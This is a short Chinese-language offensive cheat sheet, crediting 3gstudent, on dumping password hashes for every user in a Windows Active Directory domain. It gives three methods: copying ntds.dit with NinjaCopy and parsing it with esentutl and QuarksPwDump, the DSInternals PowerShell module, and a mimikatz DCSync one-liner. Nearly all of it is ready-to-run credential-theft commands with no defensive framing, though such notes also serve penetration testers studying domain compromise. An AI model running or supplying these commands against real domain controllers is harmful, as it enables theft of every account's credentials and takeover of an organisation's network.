转储Active Directory数据库

获取Windows域控所有用户hash：
参考：3gstudent

方法1：
复制ntds.dit：

使用NinjaCopy，https://github.com/3gstudent/NinjaCopy

导出hash：

使用quarkspwdump，https://github.com/quarkslab/quarkspwdump

esentutl /p /o ntds.dit
QuarksPwDump.exe -dhb -hist -nt c：\test\ntds.dit -o c：\test\log.txt

---

方法2：
使用powershell：DSInternals PowerShell Module

https://www.dsinternals.com/wp-content/uploads/DSInternals_v2.8.zip

适用条件：

Windows PowerShell 3.0 or 3.0+

.NET Framework 4.0 or 4.0+

---

方法3：
mimikatz：

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.local /all /csv exit"